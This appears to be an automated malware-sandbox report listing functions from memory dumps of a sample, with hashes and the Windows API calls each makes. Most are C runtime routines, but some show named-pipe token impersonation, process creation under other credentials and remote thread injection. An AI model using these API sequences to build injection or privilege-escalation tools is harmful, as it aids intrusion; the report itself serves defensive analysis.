Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$BuffersErrorFileFlushLast__doserrno__lock_fhandle_getptd_noexit
String ID:
API String ID: 2289611984-0
Opcode ID: 37b9bd9e17fee378057beb1ff239737341f39bc7a40d7ae34c3b228ff369500e
Instruction ID: e2ab4169c9a3aabb2236608a3488f3e78b4d3a99209b8d65d8b5d7117412ff80
Opcode Fuzzy Hash: 37b9bd9e17fee378057beb1ff239737341f39bc7a40d7ae34c3b228ff369500e
Instruction Fuzzy Hash: B311083130064086E7256F65DAC43AE7B159BC1B70F090528FA17073EADBBCE891C754

Function 009B19F8 Relevance: 12.1, APIs: 8, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 009B1A19

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

__doserrno.LIBCMT ref: 009B1A11

Part of subcall function 009AD9A0: _getptd_noexit.LIBCMT ref: 009AD9A4

__lock_fhandle.LIBCMT ref: 009B1A5D
_close_nolock.LIBCMT ref: 009B1A70

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_close_nolock_errno
String ID:
API String ID: 4060740672-0
Opcode ID: c172c206cd4e7ddd8af84d695408c21dd265f297318fe74827d56422459edfc6
Instruction ID: 3c42a3e0f1821b336f493674bd91e9c6978ad5d82ebbcac321743e8cfcbee9eb
Opcode Fuzzy Hash: c172c206cd4e7ddd8af84d695408c21dd265f297318fe74827d56422459edfc6
Instruction Fuzzy Hash: F611CC3270624086E3057F65DEE03AD3B10A7C17B0F9A4A29E91B073E7D77CD8818354

Function 0099FD54 Relevance: 12.0, APIs: 8, Instructions: 45pipethreadfileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0099FD7A
ConnectNamedPipe.KERNEL32 ref: 0099FD90
ReadFile.KERNEL32 ref: 0099FDBA
ImpersonateNamedPipeClient.ADVAPI32 ref: 0099FDCB
GetCurrentThread.KERNEL32 ref: 0099FDD5
OpenThreadToken.ADVAPI32 ref: 0099FDED
DisconnectNamedPipe.KERNEL32 ref: 0099FE03
CloseHandle.KERNEL32 ref: 0099FE10

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: NamedPipe$Thread$ClientCloseConnectCurrentDisconnectErrorFileHandleImpersonateLastOpenReadToken
String ID:
API String ID: 1569842636-0
Opcode ID: dd18e85b62bb72f84cdd973b91bb500c1b818d908ed9a3d94947706d4ab7db66
Instruction ID: d86965fe4face0553a9a26b7915b597280746893ddcbc6d896b706f01a65137f
Opcode Fuzzy Hash: dd18e85b62bb72f84cdd973b91bb500c1b818d908ed9a3d94947706d4ab7db66
Instruction Fuzzy Hash: E5118820718944C2FB20EB66F864BA97368FB81BA4F844831984B87673CF7CC448E750

Function 03543A53 Relevance: 11.6, APIs: 9, Instructions: 305COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 03543AF0

Part of subcall function 0355A66F: _FF_MSGBANNER.LIBCMT ref: 0355A69F
Part of subcall function 0355A66F: _NMSG_WRITE.LIBCMT ref: 0355A6A9
Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A6DD
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6E8
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6F3

malloc.LIBCMT ref: 03543AFA

Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A703
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A708

malloc.LIBCMT ref: 03543B05
free.LIBCMT ref: 03543CC5
free.LIBCMT ref: 03543CCD
free.LIBCMT ref: 03543CD5

Part of subcall function 03544937: malloc.LIBCMT ref: 03544981
Part of subcall function 03544937: malloc.LIBCMT ref: 0354498C
Part of subcall function 03544937: free.LIBCMT ref: 03544A73
Part of subcall function 03544937: free.LIBCMT ref: 03544A7B

free.LIBCMT ref: 03543CE1
free.LIBCMT ref: 03543CEE
free.LIBCMT ref: 03543CFB

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$malloc$_errno$_callnewh
String ID:
API String ID: 4160633307-0
Opcode ID: 530378328aa492e52dc02055a43799409f433604a0ca5208a2b7f677f439ae0d
Instruction ID: 43248158c1baf105ec92e2cdad07fa0d4fbc0c9387110c148c5bca64591d5198
Opcode Fuzzy Hash: 530378328aa492e52dc02055a43799409f433604a0ca5208a2b7f677f439ae0d
Instruction Fuzzy Hash: 5581EA38718B0D4BC71DEB6CA45177A73E5FBC5608F44426ED88BC7272EE24E8168686

Function 0099460C Relevance: 11.5, APIs: 9, Instructions: 201COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 009946A9

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

malloc.LIBCMT ref: 009946B3

Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB2BC
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2C1

malloc.LIBCMT ref: 009946BE
free.LIBCMT ref: 0099487E
free.LIBCMT ref: 00994886
free.LIBCMT ref: 0099488E

Part of subcall function 009954F0: malloc.LIBCMT ref: 0099553A
Part of subcall function 009954F0: malloc.LIBCMT ref: 00995545
Part of subcall function 009954F0: free.LIBCMT ref: 0099562C
Part of subcall function 009954F0: free.LIBCMT ref: 00995634

free.LIBCMT ref: 0099489A
free.LIBCMT ref: 009948A7
free.LIBCMT ref: 009948B4

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$malloc$_errno$_callnewh$AllocHeap
String ID:
API String ID: 3534990644-0
Opcode ID: 9ed940ff76df828764eb2dd6c0d9eaeab286c07fe672a7b4cb73b39db3b14b40
Instruction ID: 45039d0143728a105029cf6fda0b1f9c784c4fb1b3143070c77e96da0d6af02f
Opcode Fuzzy Hash: 9ed940ff76df828764eb2dd6c0d9eaeab286c07fe672a7b4cb73b39db3b14b40
Instruction Fuzzy Hash: 716100227047C586DF269F6B9850B6E7B99FBC6BC8F404129DE4A57B06DB38C506CB00

Function 009A071C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 128processCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009A4720: malloc.LIBCMT ref: 009A473C

GetStartupInfoA.KERNEL32 ref: 009A07E4

Part of subcall function 0099F9F4: MultiByteToWideChar.KERNEL32 ref: 0099FA21
Part of subcall function 0099F9F4: MultiByteToWideChar.KERNEL32 ref: 0099FA49

GetCurrentDirectoryW.KERNEL32 ref: 009A0871
GetCurrentDirectoryW.KERNEL32 ref: 009A0880
CreateProcessWithLogonW.ADVAPI32 ref: 009A08DB
GetLastError.KERNEL32 ref: 009A08E5

Strings

%s as %s\%s: %d, xrefs: 009A08EB

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: ByteCharCurrentDirectoryMultiWide$CreateErrorInfoLastLogonProcessStartupWithmalloc
String ID: %s as %s\%s: %d
API String ID: 3435635427-816037529
Opcode ID: c4d0bd8c8d1650db23838cda0cb1772cb4ec40593c69114b5c06a473d9adb743
Instruction ID: 918de97c32fe9788fb9b2fea60388c6fd1ef01e1add2da2366391e54b8e71dc4
Opcode Fuzzy Hash: c4d0bd8c8d1650db23838cda0cb1772cb4ec40593c69114b5c06a473d9adb743
Instruction Fuzzy Hash: F8514832608B8186EB20DF5AF85075AB7A9F7C9BD4F144129EF8987B29DF3CC4558B40

Function 0355B1F7 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0355B21D

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

_invalid_parameter_noinfo.LIBCMT ref: 0355B229
__crtIsPackagedApp.LIBCMT ref: 0355B23A
_dosmaperr.LIBCMT ref: 0355B284

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Packaged__crt_dosmaperr_errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 2917016420-0
Opcode ID: 9ffea0a240096b91e1fdf5f90bdd08ebf8829419d51855dc8a3edd7770b2e173
Instruction ID: 41ccb472ef780cec63913948a5ee4a085121addf5a5d4299ce2d5d3fcc8942ae
Opcode Fuzzy Hash: 9ffea0a240096b91e1fdf5f90bdd08ebf8829419d51855dc8a3edd7770b2e173
Instruction Fuzzy Hash: 9A31A930614B098FDB44EF6CA86836D76E1FBC9315F14466EB84AC72B0E738D4418792

Function 0356592F Relevance: 10.6, APIs: 7, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 03565948

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

__lock_fhandle.LIBCMT ref: 03565990
__doserrno.LIBCMT ref: 035659C5
_errno.LIBCMT ref: 035659CC
_unlock_fhandle.LIBCMT ref: 035659DC

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$__doserrno__lock_fhandle_getptd_noexit_unlock_fhandle
String ID:
API String ID: 4120058822-0
Opcode ID: bb62ca6a869fd799953b52af43a8a16501762a68a04c9f5967b7872d49b086bf
Instruction ID: ed276ae31b68e460537c96c6e55a1263c99fa914bad1b717f2fa8adadc260e45
Opcode Fuzzy Hash: bb62ca6a869fd799953b52af43a8a16501762a68a04c9f5967b7872d49b086bf
Instruction Fuzzy Hash: A921F631694B414FD715EB68F8D432D7AB0FF87324B050A6DE42ACB2B1E6746841C351

Function 009BBAD0 Relevance: 10.6, APIs: 7, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 009BBB04

Part of subcall function 009AE220: _getptd.LIBCMT ref: 009AE236
Part of subcall function 009AE220: __updatetlocinfo.LIBCMT ref: 009AE26B
Part of subcall function 009AE220: __updatetmbcinfo.LIBCMT ref: 009AE292

_errno.LIBCMT ref: 009BBB1F
_invalid_parameter_noinfo.LIBCMT ref: 009BBB2A

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 3191669884-0
Opcode ID: 328d8a49d1344a363d2d9206dfc988e432a709b8c59ca3d65d1e60162fe80d08
Instruction ID: bb6d1e1d68684800ac273ac47b7266962277e2cd6ad5ab55e2f4dc8bcd7619da
Opcode Fuzzy Hash: 328d8a49d1344a363d2d9206dfc988e432a709b8c59ca3d65d1e60162fe80d08
Instruction Fuzzy Hash: 7B21A1727187948AD7219F12D684B9EB7A8F785BF0F544125EF5917B88CBB8C841C740

Function 009A25CC Relevance: 10.6, APIs: 7, Instructions: 71threadinjectionlibraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 009A25FB
GetProcAddress.KERNEL32 ref: 009A260C
CreateRemoteThread.KERNEL32 ref: 009A2653
GetThreadContext.KERNEL32 ref: 009A268D
SetThreadContext.KERNEL32 ref: 009A26A7
ResumeThread.KERNEL32 ref: 009A26B8

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Thread$Context$AddressCreateHandleModuleProcRemoteResume
String ID:
API String ID: 2251766279-0
Opcode ID: cda92236576d422590614138ebd043a8d54cf374cbff29895d120080c94ff4ce
Instruction ID: 6b73a74884a91260f8455ed702cc07bee35815327969cd007544cfbc51de4103
Opcode Fuzzy Hash: cda92236576d422590614138ebd043a8d54cf374cbff29895d120080c94ff4ce
Instruction Fuzzy Hash: 8B219072205B8086EB24CF2AB94439E73A9F789BD4F684526DE8D43B54DF38C945CB44

Function 009A33D8 Relevance: 10.6, APIs: 7, Instructions: 58pipeCOMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 009A340B
CloseHandle.KERNEL32 ref: 009A3415
CloseHandle.KERNEL32 ref: 009A341F
DisconnectNamedPipe.KERNEL32 ref: 009A3436
CloseHandle.KERNEL32 ref: 009A3440
free.LIBCMT ref: 009A3475
free.LIBCMT ref: 009A3487

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CloseHandle$free$DisconnectNamedPipe
String ID:
API String ID: 3879126888-0
Opcode ID: 1f44d1ca3af26b607275eec106c5fff713e0699c1995d1b408019d5d241d12ef
Instruction ID: d883d6dab130d38c553d28b6003ad84de5ca7ab0b8a8e18e569eddd6bbb535aa
Opcode Fuzzy Hash: 1f44d1ca3af26b607275eec106c5fff713e0699c1995d1b408019d5d241d12ef
Instruction Fuzzy Hash: 2A21FA26614A50D3DA55DB12E79832873B5F799FE0F149412EB5A07F26DF38E9B08340

Function 009A40A0 Relevance: 10.6, APIs: 7, Instructions: 52COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 009A40B1
ioctlsocket.WS2_32 ref: 009A40D2
GetTickCount.KERNEL32 ref: 009A4117
ioctlsocket.WS2_32 ref: 009A4139

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CountTickioctlsocket
String ID:
API String ID: 3686034022-0
Opcode ID: f0f6b3c44b94660aacd045b44c8b61ad45f8cbe6460a0484ebb3670360ef76d3
Instruction ID: e1776397474de98ff7225d2b343a9ac5d71aec6d736f73cbd6c93470087507e6
Opcode Fuzzy Hash: f0f6b3c44b94660aacd045b44c8b61ad45f8cbe6460a0484ebb3670360ef76d3
Instruction Fuzzy Hash: 44112931304A4086E7104F69F8443997369F7E5B79F904934DA16836A5DFBCCC89C750

Function 009A2D80 Relevance: 10.6, APIs: 7, Instructions: 51pipefileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 009A2D9E
WaitNamedPipeA.KERNEL32 ref: 009A2DB3
CreateFileA.KERNEL32 ref: 009A2DDD
SetNamedPipeHandleState.KERNEL32 ref: 009A2DFF
DisconnectNamedPipe.KERNEL32 ref: 009A2E0C
CloseHandle.KERNEL32 ref: 009A2E15
SetLastError.KERNEL32 ref: 009A2E22

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: NamedPipe$ErrorHandleLast$CloseCreateDisconnectFileStateWait
String ID:
API String ID: 321441075-0
Opcode ID: 8e22a79f635daea726f16e9a1de1856625349972feb6a0dc3e05b0ce7be68105
Instruction ID: 3d5577f694e9def95fb2e03d41aaac4b6529cd15a62547f9ebeb2eae7d659081
Opcode Fuzzy Hash: 8e22a79f635daea726f16e9a1de1856625349972feb6a0dc3e05b0ce7be68105
Instruction Fuzzy Hash: 6911C132204A5082FB108B29F61875E7368F789BB5F505A20EA6A47A96CF7CC8858B40

Function 009ACAB0 Relevance: 9.2, APIs: 6, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 009ACAEC

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

_invalid_parameter_noinfo.LIBCMT ref: 009ACAF7
memcpy_s.LIBCMT ref: 009ACBBC
_fileno.LIBCMT ref: 009ACC27
_filbuf.LIBCMT ref: 009ACC55
_errno.LIBCMT ref: 009ACCA5

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$_filbuf_fileno_getptd_noexit_invalid_parameter_noinfomemcpy_s
String ID:
API String ID: 2328795619-0
Opcode ID: 1e9c5c85f24affc1f4ad8e74ab22dcd61c8d6539f6415cbf48a583a031d25dd9
Instruction ID: 5078477306c2276c0474842e1b2e75a3636a622cc10b656481ebfbc902811f37
Opcode Fuzzy Hash: 1e9c5c85f24affc1f4ad8e74ab22dcd61c8d6539f6415cbf48a583a031d25dd9
Instruction Fuzzy Hash: C85168B170525482DB288A67950066A76A4F787BF4F188F21AEBD4BFD4DB38C491C7C0

Function 009B60F4 Relevance: 9.1, APIs: 6, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

_mtinitlocknum.LIBCMT ref: 009B6121

Part of subcall function 009AFBF8: _FF_MSGBANNER.LIBCMT ref: 009AFC15
Part of subcall function 009AFBF8: _NMSG_WRITE.LIBCMT ref: 009AFC1F

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 009B61A4
EnterCriticalSection.KERNEL32 ref: 009B61C0
LeaveCriticalSection.KERNEL32 ref: 009B61D0
_calloc_crt.LIBCMT ref: 009B6246
__lock_fhandle.LIBCMT ref: 009B62AE

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountEnterInitializeLeaveSpin__lock_fhandle_calloc_crt_mtinitlocknum
String ID:
API String ID: 445582508-0
Opcode ID: 950df99e0b1803de4249a0c80206a0c7c3be2a4a1d9f79e42705502b1673a992
Instruction ID: b06740be7e0360bf3ec96b8bc8bea29b558eb53ec64aab6a746b97be3de400fe
Opcode Fuzzy Hash: 950df99e0b1803de4249a0c80206a0c7c3be2a4a1d9f79e42705502b1673a992
Instruction Fuzzy Hash: 1B515832604B8082EF10DF25E990369B769FB98B78F19452ADE5E877A5DB3CD842C710

Function 009A0938 Relevance: 9.1, APIs: 6, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 009A4720: malloc.LIBCMT ref: 009A473C

Part of subcall function 009AC5C0: _errno.LIBCMT ref: 009AC517
Part of subcall function 009AC5C0: _invalid_parameter_noinfo.LIBCMT ref: 009AC522

fseek.LIBCMT ref: 009A09D4

Part of subcall function 009ACE44: _errno.LIBCMT ref: 009ACE6C
Part of subcall function 009ACE44: _invalid_parameter_noinfo.LIBCMT ref: 009ACE77

_ftelli64.LIBCMT ref: 009A09DC

Part of subcall function 009ACEB8: _errno.LIBCMT ref: 009ACED6
Part of subcall function 009ACEB8: _invalid_parameter_noinfo.LIBCMT ref: 009ACEE1

fseek.LIBCMT ref: 009A09EC

Part of subcall function 009ACE44: _fseek_nolock.LIBCMT ref: 009ACE95

GetFullPathNameA.KERNEL32 ref: 009A0A0F
malloc.LIBCMT ref: 009A0A2C

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

Part of subcall function 0099CFCC: malloc.LIBCMT ref: 0099CFDF

Part of subcall function 0099CFFC: htonl.WS2_32 ref: 0099D007

fclose.LIBCMT ref: 009A0AE9

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfomalloc$fseek$AllocFullHeapNamePath_callnewh_fseek_nolock_ftelli64fclosehtonl
String ID:
API String ID: 3587854850-0
Opcode ID: 3da8f025ece7394c703a7f887b7126d067a18409367c8c891ce5d9828b598cd7
Instruction ID: 1b2d41b4781f16fff212defea212ce2b864dc31b22d30b553c652035090fb83e
Opcode Fuzzy Hash: 3da8f025ece7394c703a7f887b7126d067a18409367c8c891ce5d9828b598cd7
Instruction Fuzzy Hash: B341F62230569092DB10EB2AE85576EB395F7CAFD0F508126EE5E47B96DF7CC502CB80

Function 009A4394 Relevance: 9.1, APIs: 6, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32 ref: 009A43AC
GetOEMCP.KERNEL32 ref: 009A43B6
GetCurrentProcessId.KERNEL32 ref: 009A43DC
GetTickCount.KERNEL32 ref: 009A43E4

Part of subcall function 009AC3EC: _getptd.LIBCMT ref: 009AC3F4

